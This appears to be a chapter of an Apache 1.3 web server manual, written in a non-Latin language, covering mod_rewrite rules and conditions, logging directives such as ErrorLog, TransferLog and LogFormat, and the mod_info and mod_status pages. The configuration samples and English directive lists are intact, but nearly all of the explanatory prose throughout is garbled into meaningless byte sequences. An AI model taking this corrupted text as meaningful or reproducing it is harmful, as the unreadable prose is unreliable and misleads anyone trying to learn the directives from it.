���" n2�� � #�  �u! #u�p.URL��  u" � ��u	��.��	" u>� �u�� �1�u& ��  u, �Vu0, �� #u�p .  �u��

RewriteRule   2 "  z.htaccess  #&�	 ��� �q	  of�   )2�p �V0,  �,�2�  �1�& J�.��p���� .
� M�k, �	"�p � �! ��#:



EE

Alias /xyz /abc/def"
RewriteBase   /xyz
RewriteRule   ^oldstuff\.html$  newstuff.html

� 2uuu" M�uuuk, 
uuu"  �uuu	 �uuu���1 2 z/xyz/oldstuff.html �uuu	n#uuu.���� �_"uuuq�
/abc/def/ newstuff.html�.��	 ">�, �2�& . )�2 2�.����� "� ��d�-!� 
�, ��2#�:

Request 
/xyz/oldstuff.html 

Internal processing
/xyz/oldstuff.html     -> /abc/def/oldstuff.html  (per-server Alias)
/abc/def/oldstuff.html -> /abc/def/newstuff.html  (per-dir    RewriteRule)
/abc/def/newstuff.html -> /xyz/newstuff.html      (per-dir    RewriteBase)
/xyz/newstuff.html     -> /abc/def/newstuff.html  (per-server Alias)

Result 
/abc/def/newstuff.html 

RewriteCond

RewriteCond TestString CondPattern
Server config, virtual host, directory

"  z"  2 #�� �"�p��  �RewriteCond,���!  #.   �	 J#f,2"�p��  �RewriteRule  ��& �! #.�&" o
    #��p �V0, � )� M��/�.CondPatter,�  #.��!"   :�X/ z    �p #&�	 E}�,  �	   �#uf,  K��V�u��

 ��uu	 n#uu&�TestString�f," uu, �uu>�2�uu& .TestString��uu$�i�,��uu���"  Bquu& �uu	 
%{NAME_OF_VARIABLE} �uu��  �uupNAME_OF_VARIABLE�uu,#uu.��!"uuq� �� 

2�f,�"�� "#&�	 �:
API_VERSION PATH_INFO SERVER_PROTOCOL
AUTH_TYPE QUERY_STRING SERVER_SOFTWARE
DOCUMENT_ROOT REMOTE_ADDR THE_REQUEST
ENV:any_environment_variable REMOTE_HOST TIME
HTTP_ACCEPT REMOTE_USER TIME_DAY
HTTP_COOKIE REMOTE_IDENT TIME_HOUR
HTTP_FORWARDED REQUEST_FILENAME TIME_MIN
HTTP_HOST REQUEST_METHOD TIME_MON
HTTP_PROXY_CONNECTION REQUEST_URI TIME_SEC
HTTP_REFERER SCRIPT_FILENAME TIME_WDAY
HTTP_USER_AGENT SERVER_ADMIN TIME_YEAR
HTTP:any_HTTP_header SERVER_NAME
IS_SUBREQ SERVER_PORT

i�, ���� �	 �a���, ���" J�. z���" #�HTTP MIMEi�, ����������� ��u�� � � u"  )�u,� �
� �#��>�. �#&�X. g	��, E}�, :�X/ ��� RewritingRule#Y	 ��. M��/� �2�& .

RewriteLock

RewriteLock Filename
Server config
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�" 2 
"�p��  �  J�.n#.��� B-d �x��)    J�w�� �}�, �	���� ( , �V0,�#�p.   . �uU/  u�  )� ��
��� �p mod_rewrite.�   �	 ��  �,�.�	 �	 ��X!����RewriteMap 2�2 .�"  
n#.��� B-d �x��  � 
���.�,��n#.���U], ��p �V0, � #)� �	 �.� M��!� �1�& " ����NFS(.

RewriteOptions

RewriteOptions Option
Default: None
Server config, virtual host, directory, .htaccess

2"�p��  �RewriteOptions1�	� _� "��  ��	 � �����#�	�q� UY� � ��u��� u"    �1�u& � �u �
, �V0,�#�p. ���! ��X�� "_� z"2�2 2� � ��:
inherit

�"  
_�"  ��        )#u& n2�u	 �� �	 v/�	�� #u�	�q� ��   #u�
,�2�& .��	��������� ��s, �  ��Y, �	 �   )2�u	 ��

  ����&�w. ���<�&  #u/��d � ��u��� Uu^� � �u�� . ��u	�
�1�&  �Y, �	 ������	�  � #/��d   �� ��<�u&.htaccess
�1�&������ �!~�	.

RewriteRule

RewriteRule Pattern Substitution [flags]
Server config, virtual host, directory

�" 2 
"�p��  �,� #uY! �� �	 #.��! 2�  2� �up �u	 J�~ .   J�#up �u��� u ��1� uUXd �  M�u�/� 
,�2�& .��	��	"  
!�!�  ��� E�, y .Pattern  �	URL 2�� � �f, "    u, n2�2 �u>� �2�u&    :�u^ 2 

X�!�  �gSubstitution  u, M��/�� 2�u& . #.�.�u0. �1�  u���flags  u, �  2�u& n2�2 #u.��! .  �u�����
,� #�.��!"q�� 2��, �� " �p #�&�	 �,�)��! �� . )� G-V,�2�p n2�-��� _:

redirect|R
i! 2 �X ���>, ���

proxy|P
>p��� 2 �X ��

Last|L
�1�" 
 n#/�d–;	 �	��1� " �	 n#/�d 
URLUY� ���	 .
chain|C

 �2�	 g	��, n#/�d ���ds.� n#/��n���� "
p M��/� � �.
type|T=mimi-type

n#.�����. �"�	 " {�. �� #mime-type#&�	.
nonsubreq|NS

U1�2 ����12 ����\�^ n#/�d �� �2�	 ��. �}..
qsappend|QSA

" z ��&��. e�]�� � �  � =��.
passthrough|PT

��� �	" #�#Y	�
p n�w..
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skip|S = num
 ��num#Y	 n#/�d �! ��9	 .
next|N

#Y	 �2�–��� �� �
p {��& n�	�2 n#/�d 
.
forbidden|F
 #p403	 ��Y, ��"URL Forbidden")�2���	 � .

gone|G
 #p410��Y, �	�"URL Gone")�2���	 � .
nocase|NC
�f, 2" �>�_	 ���q��p � �
p �}. \�^ \��$ .

��	��p ��� M�k, � �p #,����1� EURLJ�� �	 :
/Language/~Realname/.../File 

� J�� �	 �"#X! �"�p B�E:
/u/Username/.../File.Language 

n#.���  �&�w.�.��	">�    2 � /anywhere/map.real-to-user1�� , n���p�E .   ��up F9u��
� ���1 ���" �	 � �n#.���� �#�	�q�������p ���%� �E:

RewriteLog   /anywhere/rewrite.log 
RewriteMap   real-to-user  txt:/anywhere/map.real-to-host 
RewriteRule  ^/([^/]+)/~([^/]+)/(.*)$   

/u/${real-to-user:$2|nobody}/$3.$1

lXa XSpelling
"  z�.���� #�,2�� mod_spelling   ��! �	 �p ���"   �u�� n#u& ���%� j .� u" 
 �u.���� �u���1�

;,��""  2  �" ����1 �w� �! "9�   �   2URL�	�f," 2�� �>�  �n#.����.�,��]�!�  u, �� #u�p .
�p � �!�����& �p #����	�p ��! � oU� �]��. ��#�p .

lXaXWXCheckSpelling
2"�p�� �CheckSpelling M�Y�"� ��, M�Y� ��2�& #.��!:

CheckSpelling [on|off]
Anywhere 



ET

��(� TU,:
���89�	����

"q�     ���	 2 E�, :�q. �� �""    � �	 :�}. n�w	� z"   ��p �1��& � ��2�#�  Y ��, �� �    n�uw	� �	 

,��	  	 �p #&��� U]! �B��� #Y	 � >	 � -, ��# ��� . ��	 � � "  ���� �p 
�  X���, :�.�q,� �  ��u	 �
�"�w.2�#�   ��� n2�p E����  .  2 �	 n�;/"�p������"  ���� �p � ��	 � � �#�	�q�    u, �u��� �p  �#u�
�f!"   ��2�� :�/;<� J��! ��X�     ���u���12 �� n#u& � 2�� �  i�, 2 � �u��� ], � u��  ju�  ���
n#&  , �p #.���!    
�&�. �	 )���2��&�.���CGI    u����2 ��.� �	 �    $� � �u&�2 �  � ��u.��   �u�.� 
~��"0�2�2 J�s.� .
mXW X�����89�	�� �+ =��!� #9�� � �7�	� 7�8

  ���n�w	�  �� �� "   , n2�-��� n2�2 n�w�, �#�p�.��!� �ud�< �p # �u�����  u"�w.2�#�   
�u&�. �u	 � 
��2��&�.   � ��  :�/;<� J��! �Xh  ��, �Y  )��#��p �2 J�s.��# .    . �u	 ��u>	� �u����    ���u&   �uXh
f�>,� n2�2 E  ���X>.  �	    �� ��.� K��V���n#.������� "�w.2�#�>	�n2�� ��!2�	 #���1 . ��u	 �
  �.��."q�  �. �� "  )��#�>"  z  n�w	��2 u"n�   qu&_� \�uY����(www.Medic-Planet.com)2�2 .
��2��&�.��� n2�� Perl��2�p�"�� 2 �"��	 n2�2 n�w�2 "	��� 2��, " �, �Xh�#��p:

•��� n#& n#.��1 �	 #�� ��&�. ��
•� ��2 )� �	 )��#��p �Y ��, �.�w��n2�p �#.�#
•B,�/������!�, � �s�>  n2�p �Y ��, �	 #��#.�
•2��	" )��#��p#� �	 #���� ���#.��n�w	�#��2 �0���� ���sp � .�#

   
�&�2 �	�"  -, :�/;<� 
�  �� 2 #"     #�� 
�&�. �n2�2 n�w��2��&�.  ��u	 � ��	  u"	�� n2�2    � �u�
�!���&�_� ��" y��d 2 HTML2�	 #���V. Bq0, )�#�� .
mX\ X�� -�9�e�	���89�	����� �

�����  �� n��>� �Y�  _� �� "�� ��	 ���    y��d M���p n#.�������"�w.2�#� u, ���� � #u�p . ��u	�
yU�, )#& 
&� �n#.���� �#�	�q�… /site.authent  �u	 � ��&�2�	 � ... /site.logging u9p�

,��p�i! � )� � E��, ��2��E:
User webuser
Group webgroup
ServerName www.butterthlies.com

IdentityCheck on
NameVirtualHost 192.168.123.2
<VirtualHost www.butterthlies.com>
LogFormat "customers: host %h, logname %l, user %u, time %t, request %r,
    status %s,bytes %b,"
CookieLog logs/cookies
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.logging/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/APACHE3/site.logging/logs/customers/error_log
TransferLog /usr/www/APACHE3/site.logging/logs/customers/access_log
ScriptAlias /cgi_bin /usr/www/APACHE3/cgi_bin
</VirtualHost>
<VirtualHost sales.butterthlies.com>



E>

LogFormat "sales: agent %{httpd_user_agent}i, cookie: %{http_Cookie}i, 
    referer: %{Referer}o, host %!200h, logname %!200l, user %u, time %t,
    request %r, status %s,bytes %b,"
CookieLog logs/cookies
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.logging/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/site.logging/logs/salesmen/error_log
TransferLog /usr/www/APACHE3/site.logging/logs/salesmen/access_log
ScriptAlias /cgi_bin /usr/www/APACHE3/cgi_bin
<Directory /usr/www/APACHE3/site.logging/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups
require valid-user
</Directory>
<Directory /usr/www/APACHE3/cgi_bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups
#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups
require valid-user
</Directory>
</VirtualHost>

� 2"2�#Y! �s��2  "�p��#  �"2�2 2� � #:
ErrorLog

ErrorLog filename|syslog[:facility] 
Default: ErrorLog logs/error_log
Server config, virtual host

2"�p��  �ErrorLog  J�.n#.�����      , �Xh )� 2 ����1 �p �   , �V0, � #.�&�#�p .  J�. ���
n#.��� �	  /0. {��&, ��� �2�� �1�& �	 �X>. �p 2�&" �0�������� .
,�!   �� )��"   �,�.�	 z"   ��	 E� ���2 ��    2�p n2�-��� ��1 Z��2��  .��	� � "   �p 
 J�. n#u.���

)"�� � ���2 )��� ��" (�	" #�. �	"�� �>" �(|)2�& {��& .
����],f�/^�+ � 

  �0� :�^ 2�.�X��.�,��  �  �	   �� n2�-���syslog �  �	�  J�.n#.��� , � � )��! u"�w.2�#�  � 
 �< ��"  gsyslogd(8)  2�2 J�s.�. � �t  ���   �� n2�-����>!�  :;local7 �� ����� , � � )��! u" 


   � �#f,�	syslog:facilityi!��  �2�2   �p facility,�  #.��!"q� 2�f, �� "�Y! �" :�#��>, 2 n#& G
syslog(1) #&�	  .   �� n2�-���syslog,� �#�w. )�q�   �� �"��2�#� #�� "  
�����   � 2"  B], z
 _p���,, E�����#�p .

 �p �d2�   �p # �1�& �����   �p n#.������ � "�w.2�#��#�w. )� 2 �, � 
�&�. B	�d #.�&
>p �� o��!� �#&�	 �,��, n�<�V, �	 ��#���.
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TransferLog

TransferLog [ file | "| command "]
Default: none
Server config, virtual host

TransferLogn#.�����     )� 2 �p ����2����   �	 n�w	� , �Xh�#.�&�   , �V0, � �#�p .
 �^ ���"   2 ��]n#.��� � �#�	�q�    � 2 �#&�	 n#0. �V0,"  � :�^ 
�  �n#.����� ��	 � � "  �p 


��!��. #�&2�.
file

   �	 ��� /     gU�, =2� �2�& {��&��n#.�   � 2 � � � �"    J�. :�^ 
 n#u.���       �1�u& �u	 �Xu>. 
" �0�����.

command
)�p �d2 )� �]. �	�# :"| command"(  �u��,;/�   2 M�ud Buf.  n#u.���� � #u�	�q� J�~ 

#��>� .command���2�   � �p ��� "    2�� )���/ �	 � ��2�#�   2 2�1 2�#.���� " , ����#�p .
 �p �d2�  ��	 �p #�" , z�)�	_��s, � �p TransferLog �� � �����U^� �, �� �	 � J�~ �2�	
   �p� �	"  #  �,�.�	 z" . #��> .          �u���s, �u	 �u,�.�	 ��,�.�	 �� n2�-��� :�^ 2�  �	�up �   �up 
httpd    , �� � �n2�p �� � ��2�& . -, �,�.�	�#�    2 yU�� �.�,�����".��    u, n2�-�u�� Fq�  2�u&

rotatelogs   2 �p�"�  �1�&support,�   � � )� )��!� 2�p �# .�"       ���u��, �< �	 �,�.�	 
 n#u.���
�"�w.2�#�     � ��>	 � "  zn#.��� #   u"    u, ��u	 #� #u�p  ��u	 �up ��	" .�uw�U]! �  u�  :#u,��2 B
�"�w.2�#� -, � ��� # . � ��X��"     ���� )2�p Gd��, �	 �p 
�������	 � " )� )#, J�s.��   �up 2�u&
��	����1���.���$ 2 �p  #��>� B��, �%�$ M�&�1 )�#��". #���>.

AgentLog

AgentLog file-pipe
AgentLog logs/agent_log
Server config, virtual host
Not in Apache v2

2"�p��  �AgentLog  J�.n#.�����   �p ���"  #�User-Agent������12� 2�� �    )� 2   �uXh
,�2�& .file-pipe"q�� 2��, �� ", ��#&�	 #.��!:

• J�." zn#.���
• J�." zn#.��� �	 �X>. ServerRoot
•"> |command<"

�"2 
"�p����	 ������� �-$ � �	 NCSA 1.4n#& ����2�	  �up ��u�� 2 �@   n#u& \xu$ 
���.

LogLevel

LogLevel level 
Default: error
Server config, virtual host
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LogLevel , � !�/;<� )�_� 2 �pn#.���error_log, �Xh �, M���p � 2�&�#�p .  b��u�
�"�w.2�#��� #�!�X/ :

emerg
�.�,��� �, K�1 � ��� n2�-��� B	�d ��2�& .��	�M�k, :

"Child cannot open lock file. Exiting"
alert

�� t�p������ J�~  .��	�M�k, :
"getpwuid: couldn't determine user name from uid"

crit
.��]	 ��&� .M�k,:

"socket: Failed to get a socket, exiting child"
error
n��1���,#1X���, ��. ���2� .��	�M�k, :

"Premature end of script headers"
warn

. ��� 
q�, �p E�, )�#�� �. B��>,�#�&�	 ��&�2 � �! �	 �� .��	�M�k, :
"child process 1234 did not exit, sending another SIGHUP"

notice
�"��2�#����Y, �. ��� 
q�, �p ���	 �	 ���#�&�	 ��&�2  .��	�M�k, :

"httpd: caught SIGBUS, attempting to dump core in ..."
info
��	�M�k, :

"Server seems busy, (you may need to increase StartServers, or 
Min/MaxSpareServers)..."

debug
�"���2�#����Y, �M�q&� �	 z�p \#� �	 � �2��", �Xh �#�p.

     b��� B,�& ��� ��~�	   . Z2�1 �� �!� , _�#&�	 .      M�uk, )��u�/ �	 ��u�  M�[u&�  �u"�2�3

      2 b��� �U�  �� :�/;<� J��! B,�&" . �w� , _�#&�	 .���   �	 "  &�	 ��&�2 2��   �p #� u"�w.2�#�
� ���_�, ��!�� #.�"2 j"#�p �� � z>!

LogFormat

LogFormat format_string [nickname]
Default: "%h %l %u %t \"%r\" %s %b"
Server config, virtual host

LogFormat!�/;<��   �p �	"   2 #n#.��� � "�w.2�#�   . � #.�& �Xh�     �V0, � ��.� y��d _
,�#�p . � y��d�t  ��� ,��/ y��d� � "�w.2�#�N    �up ��� �u��_	��    ��u	 2�u �, � U]!  u� B
�uu"�w.#�� �uu	uu" #��uu>� ����uu� yuu��d 
 .� �uuU�  ��uu"uu, �uu��_	� 
� �uu	 )��uu!wusage
)/com.boutell.www://http (  �ANALOG  2�p n�&�  .��	��	"   u, ��� 
����1 u�  � �� # u"   �u��_	� 

��p n2�-���� �#"2 
"�p��i! � ����#. ��# . y��dCLF� Bq& �	 "��� �:

host ident authuser date request status bytes

1 Debug
2 Common Log Format (CLF)



RX

host
, J�.� )�	_n��1��" =2� �IP)� .

ident
 �� :�/;<�"�� o��! n#& Z�_�n��1��� ���IdentityCheck #u&�	 n#& M�Y�  u&�, � � 


n��1��identd � � #�p ��
authuser
�	�p ����&� � ����12 �����	�" �	 n#& �a�-$ #�� z_, E��#&�	 .

date
�!"����12 )�,� � �� y��d 2 �p ", ��#&�	:

[day/month/year:hour:minute:second  tzoffset].
request

 �� ����12 o1n��1��	 ����,;/ 
�"".
bytes
�	 2�#Y!"����n#& n2����� ��k��� �	 ����"��#�.
 � y��d"�w.2�#� , �!   �	 #.��   �� n2�-���"  zformat_string&�-�� 2�u&  . ����u�2� )� 
 Bq& �	%[condition] keyletter��� �condition�1���� �u�� .    � ��u& 2�u � :�u^ 2

 ��1 ��& )#0. n2���	�" �,;/ z–2�	 #���1  .
key_letter,� :�^ �	 #�.��!�"#�&�	 �:

%...a: Remote IP-address 
%...A: Local IP-address 
%...B: Bytes sent, excluding HTTP headers. 
%...b: Bytes sent, excluding HTTP headers. In CLF format i.e. a '-' rather than a 0
when no bytes are sent. 
%...{Foobar}C: The contents of cookie "Foobar" in the request sent to the server. 
%...D: The time taken to serve the request, in microseconds. 
%...{FOOBAR}e: The contents of the environment variable FOOBAR 
%...f: Filename 
%...h: Remote host 
%...H The request protocol 
%...{Foobar}i: The contents of Foobar: header line(s) in the request sent to the 
server. 
%...l: Remote logname (from identd, if supplied) 
%...m The request method 
%...{Foobar}n: The contents of note "Foobar" from another module. 
%...{Foobar}o: The contents of Foobar: header line(s) in the reply. 
%...p: The canonical Port of the server serving the request 
%...P: The process ID of the child that serviced the request. 
%...q The query string (prepended with a ? if a query string exists, otherwise an 
empty string) %...r: First line of request 
%...s: Status. For requests that got internally redirected, this is the status of the 
*original* request ---
%...>s for the last. 
%...t: Time, in common log format time format (standard english format) %...
{format}t: The time, in the form given by format, which should be in strftime(3) 
format. (potentially localized) 
%...T: The time taken to serve the request, in seconds. 
%...u: Remote user (from auth; may be bogus if return status (%s) is 401) 
%...U: The URL path requested, not including any query string. 
%...v: The canonical ServerName of the server serving the request. 
%...V: The server name according to the UseCanonicalName setting. 
%...X: Connection status when response is completed. 'X' = connection aborted 
before 
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the response completed. '+' = connection may be kept alive after the response is 
sent. '-' = connection will be closed after the response is sent. (This directive was 
%...c in late versions of Apache 1.3, but this conflicted with the historical ssl 
%...{var}c syntax.)

, y��d ��&� #.��!���V�2 
�, ���2 n���� �	 �"�p������%#&�	 ��&�2 .
CustomLog

CustomLog file|pipe format|nickname
Server config, virtual host

����  
#.�.�0.   J�. n#.�����   ��2�p �p ��� � � "�w.2�#�    , �Xh )� 2 �#.�& .�" d2 
�  ��uf
 �	�0,#.�.�0.TransferLog���  .

#.�.�0.   �y��d   y��d   o1 ��n#.��� � "�w.2�#�, �V0, � �#�p ._�"�� �u�� d2 yu��d �  ��uf
  �	�0,#.�.�0.2"�p��  �LogFormat #��>�  .   y��d �����$�     #&�	 �U^�� o1 )     u�� yuU�� �up� 


��� �< (�	"���,;/ �	 #�""2�& ��], .
 �  �	�     ��& �� n2�-���   d�� yu��d uY�  u, �� �u! �� )� u"  J�u. z    ou��! �up �Y�u>,2"�p� u� �

LogFormat�Y!", G�2�&�2�p n2�-��� .
mXa X�����89�	������+�e�

�����    � :�/;<� ��� 2�d "2��  � n�	2 "��2�#� U1�2 �    #u�2 Z�_� 2�1  . �u.����   . 2�u,  u� ��
��	� � "   �p 
mod_info.c   �	 �p ���" �1�� J�w�� #�����2�& ���%� .� " 
�.�����, Y,�  ��
 � �	�#�	�q������    J��! B,�& �.�������    2 � n#& y�. "�p��   2 ���n#.��� � �#�	�q� 2�2  .�" 


�.����   � �< �	 �t  ����� �! �. �2�& .��	�   )� )2�p M�Y�   ��� ���3DSO�0� �.�X�, �  �2�u&
�.����   �x��	 � �<�	�, � �p �  #"  � o1 �"    2 � �n#.��� � �#�	�q�   �1�� �����      � n2�up ���u%� 

 � )� n�	�2�� �!��. �"#:
AddModule modules/standard/mod_info.o

�	"  #" �& ��2�"    ��� �p Emod_info    B1�2 2 ������� �!   �2�& U	�d�  �      J�u�! 2 )� �uX��
n#.��������#�	�q�)  #�.�,�#.������.htaccess � 2"�1�&��� (     2�u	 #u���1 =���2 2   �up �

�" 

q�, ��� �,� :���1���#&�	 ��&�2 .n#.���� �#�	�q�… /site.infoi! �p �� �"  �u���… 
/site.authent��� w.�w�� 2�	�p �" 
�.����, )�0. � �#�2:

User webuser
Group webgroup
ServerName www.butterthlies.com

NameVirtualHost 192.168.123.2

LogLevel debug

<VirtualHost www.butterthlies.com>
#CookieLog logs/cookies
AddModuleInfo mod_setenvif.c "This is what I've added to mod_setenvif"

1 Dynamic Shared Objec
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ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.info/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/APACHE3/site.info/logs/error_log
TransferLog /usr/www/APACHE3/site.info/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin

<Location /server-info>
SetHandler server-info
</Location>

</VirtualHost>

<VirtualHost sales.butterthlies.com>
CookieLog logs/cookies
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/APACHE3/site.info/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/site.info/logs/error_log
TransferLog /usr/www/APACHE3/site.info/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin
<Directory /usr/www/APACHE3/site.info/htdocs/salesmen>
AuthType Basic
#AuthType Digest
AuthName darkness

AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups

#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups

#AuthDigestFile /usr/www/APACHE3/ ok_digest/sales
require valid-user
satisfy any
order deny,allow
allow from 192.168.123.1
deny from all
#require user daphne bill
#require group cleaners
#require group directors
</Directory>

<Directory /usr/www/APACHE3/cgi-bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups
#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups
require valid-user
</Directory>
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</VirtualHost>
 �	 o1AddModuleInfo �   �U	<Location …>�p �d2 �#.

mXa XWXAddModuleInfo
2"�p��  �AddModule , n�� ��  #�2���],�string  �   Bq& �	HTML��	� ;<�     ���u%� :�u/

 n�	2�.����module-name2�& n2�2 )�0..
AddModuleInfo module-name string
Server config, virtual host

��	�, M�k:
AddModuleInfo mod_auth.c 'See <A HREF="http://www.apache.org/docs/mod/
    mod auth.html">http://www.apache.org/docs/mod/mod_auth.html</A>'

��	� .��1��� ��.����  =2� �u���, 2www.butterthlies.com/server-info�p 2�� � u�# .
� ����, 2�_�X& �� �	 �"���1 ��2 #"#:

Apache Server Information
Server Settings, mod_setenvif.c, mod_usertrack.c, mod_auth_digest.c, 
mod_auth_db.c, 
mod_auth_anon.c, mod_auth.c, mod_access.c, mod_rewrite.c, mod_alias.c, 
mod_userdir.c, 
mod_actions.c, mod_imap.c, mod_asis.c, mod_cgi.c, mod_dir.c, mod_autoindex.c, 
mod_
include.c, mod_info.c, mod_status.c, mod_negotiation.c, mod_mime.c, 
mod_log_config.c, 
mod_env.c, http_core.c 
Server Version: Apache/1.3.14 (Unix)
Server Built: Feb 13 2001 15:20:23
API Version: 19990320:10
Run Mode: standalone
User/Group: webuser(1000)/1003
Hostname/port: www.butterthlies.com:0 
Daemons: start: 5 min idle: 5 max idle: 10 max: 256
Max Requests: per child: 0 keep alive: on max per connection: 100
Threads: per child: 0
Excess requests: per child: 0
Timeouts: connection: 300 keep-alive: 15
Server Root: /usr/www/APACHE3/site.info
Config File: /usr/www/APACHE3/site.info/conf/httpd.conf
PID File: logs/httpd.pid
Scoreboard File: logs/apache_runtime_status

Module Name: mod_setenvif.c 
Content handlers: none 
Configuration Phase Participation: Create Directory Config, Merge Directory 
Configs, 
Create Server Config, Merge Server Configs 
Request Phase Participation: Post-Read Request, Header Parse 
Module Directives: 
SetEnvIf - A header-name, regex and a list of variables. 
SetEnvIfNoCase - a header-name, regex and a list of variables. 
BrowserMatch - A browser regex and a list of variables. 
BrowserMatchNoCase - A browser regex and a list of variables. 
Current Configuration: 
Additional Information: 
This is what I've added to mod_setenvif
............
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n#.���2 :�/;<� �	 " �w�.����, �,�2� ���"#	�.
mXb XStatus

 �< �	"   ��	�0, g�����  , � �    �	 �2�� )��!  ����  :�/;<� Y,�u �   Yu%� �� �  �     �u	 2�u1   � M��u&
.��1�����.����mod_status2�p:

AddModule modules/standard/mod_status.o
 � �����"  ��	 :�/;<� 
�  �X��"  zn�w	�  �, ��U&  ��� 
q	�  �� �#&�	 Z���   � �� �u	 u" 

  , � )�q,��   �p #�2 ���	 �� BXd � B��>, �Y ��2"	��#�p .��	�  2 n#u& n2�2 :�/;<� �p )� 

�1��  � 2���� ��   w. ��d ��s, ��2� , ��   =2� )��!IP��	� ����2 �  � �	  u"      2�#u], � :�u/;<� 

2�p.
mXbXWX%��� =
�����
��	���! " �
n#.���httpd.conf 2 … /site.status� :�^ �	  u"  2�u	 #u���1 �) :  uUXd �	�u0,�

�.����info��� J�~ E�(
User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/site.status/htdocs
ExtendedStatus on

<Location /status>
order deny,allow
allow from 192.168.123.1
deny from all
SetHandler server-status
</Location>

<Location /info>
order deny,allow
allow from 192.168.123.1
deny from all
SetHandler server-status
SetHandler server-info
</Location>

2"�p�� �allow from, n�w. �.�,�], � :�/;<��2�2.
��	�"��2��     �p n�]. n�	2 2"�p��  �order,�.��!�  #   tV	 �	S(Q(  ��. �Y ��, �"#.  �ud2

 &�	 ��&�2�   �p # �  �	�AddHandler   �p "    �	 �X�� z u"  z n#u.���         �Xu>. 8�u1 #.�u>� �u	 
,�   �� �#�2SetHandler   �p    �	 �X��", �X>. 8�1 �1�& z���� n#& n2�-��� #�2.   �u	 �u�� 

 =2�www.butterthlies.com/status�p �Y ��,� �# ���� 2 ��1�� "���1 � ��2 #"#:
Apache Server Status for www.butterthlies.com
Server Version: Apache/1.3.14 (Unix)
Server Built: Feb 13 2001 15:20:23

Current Time: Tuesday, 13-Feb-2001 16:03:30 GMT
Restart Time: Tuesday, 13-Feb-2001 16:01:49 GMT
Parent Server Generation: 0
Server uptime: 1 minute 41 seconds
Total accesses: 21 - Total Traffic: 49 kB
CPU Usage: u.0703125 s.015625 cu0 cs0 - .0851% CPU load
.208 requests/sec - 496 B/second - 2389 B/request
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1 requests currently being processed, 5 idle servers 
_W___  _..........................................................
................................................................
................................................................
................................................................
Scoreboard Key: 
"_" Waiting for Connection, "S" Starting up, "R" Reading Request,
"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
"L" Logging, "G" Gracefully finishing, "." Open slot with no current process 

Srv PID  Acc      M CPU  SS Req Conn Child Slot Client        VHost 
Request 
0-0 2434 0/1/1    _ 0.01 93 5 0.0 0.00 0.00 192.168.123.1 www.butterthlies.com 
GET /status HTTP/1.1
1-0 2435 20/20/20 W 0.08 1 0 47.1 0.05 0.05 192.168.123.1
www.butterthlies.com 
GET /status?refresh=2 HTTP/1.1

Srv   Child Server number - generation 
PID   OS process ID 
Acc   Number of accesses this connection / this child / this slot 
M     Mode of operation 
CPU   CPU usage, number of seconds 
SS    Seconds since beginning of most recent request 
Req   Milliseconds required to process most recent request 
Conn  Kilobytes transferred this connection 
Child Megabytes transferred this child 
Slot  Total megabytes transferred this slot  

 �	 ����12URL2 "�w :�/;<� �-,�2 #"�w�, ����� )��!:
status?notable

��	� ������, �"    �0� M�#  �� �p �.�X� �. �  �#��pY%��        M��#u  �� n2�-�u�� )�#u	 � �
,�#����.

status?refresh
 ��".�h z� �	 � �]-^�, J�w���#�p.

status?refresh=<n>
 ��<n>.�h � �]-^ ��	 ��, J�w��#�p.

status?auto
Y%��X��d 2 � ����	 y���, ���! �p2�1 Z��2�� �, #�#�p .

,�  )��!#.�.�0.���    � GU�V,   p�! :�^ �	�X�       n#& �#  E� �� �,�p �	 �p  2�� �#u.� . M�uk, :
http://www.butterthlies.com/status?notable,refresh=10

mXbX\XExtendedStatus
2"�p��  �ExtendedStatus�#�w.�    ���u%� :�/;<� Yu%��  � ��u	�   �u���12 �u� �   M�u��p
,�#�p.

ExtendedStatus On|Off
Default: Off
server config

�" 2 
"�p��  ,�w�� ���! �� -, �    �p ��� #�.����status � ������  #&�	 M�Y� . �  u"  
2"�p� u� �
    Bp �	 ���!�����      � ��� M��/� B	�d �.� � )� )��!��� �	� �� ����� ��us, �  M�uY�  u"� � u� �
2�p M�Y�.�"2 
"�p�� �,� #.��!h�!�-�, �� �	 ��p�"2�xw	 .
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��9 TU,
=���	
 ��#.� n��  �� � � �"  z�����   �� ��#,���� �,� ��� � "2��         )���/ �	 ��� J�~ � 2�2 n���� �	 

"q�  ��0��� �� � U^� �    � ��d � �! 2�, �2� .  ��X��   B,�p v]	 �,� n�	2�  �"   �u	 � �u.�V	��p z
    2�p #���1 �� B,�p �< ! � �	" M�$ 
� 2"Up �< �	 B�� 
�� �	 "� 
����q�� � ��#,��  �u�.� 

��w.����1 ��&�2 E.
  Up �< �	� , � ���1 �  	 )��	�p E�  �.�w)"  	 �	 ��   � )��	�p ���	 )�� ��s, � ( 9p )�q,�� i! ��� �

"  �� � n2�2 )2�p���  �#. � �, #�&�	 ��& .����� , 
����1�  � )��	�p E�    �u,�.�	 #�.���. ��s, �-
